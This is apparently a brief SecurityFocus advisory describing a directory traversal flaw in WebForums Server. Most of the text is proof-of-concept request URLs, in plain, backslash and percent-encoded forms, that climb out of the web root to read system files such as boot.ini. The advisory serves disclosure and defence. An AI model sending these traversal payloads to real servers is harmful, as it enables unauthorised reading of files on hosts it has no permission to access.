source: https://www.securityfocus.com/bid/7955/info It has been reported that WebForums Server does not properly handle some types of requests. Because of this, attackers may be able to gain access to files on the host server with the privileges of the web server process. http://www.example.com/../../../../autoexec.bat http://www.example.com/../../../autoexec.bat http://www.example.com/../../boot.ini http://www.example.com/../../boot.ini http://www.example.com/../../../boot.ini http://www.example.com/../../../boot.ini Additional directory traversal proof of concepts had been provided by R00tCr4ck : http://www.example.com/..\..\..\file.ext http://www.example.com/../../../file.ext or as encoded format: http://www.example.com/%2E%2E%5C%2E%2E%5C%2E%2E%5Cfile.ext http://www.example.com/%2E%2E%2F%2E%2E%2F%2E%2E%2Ffile.ext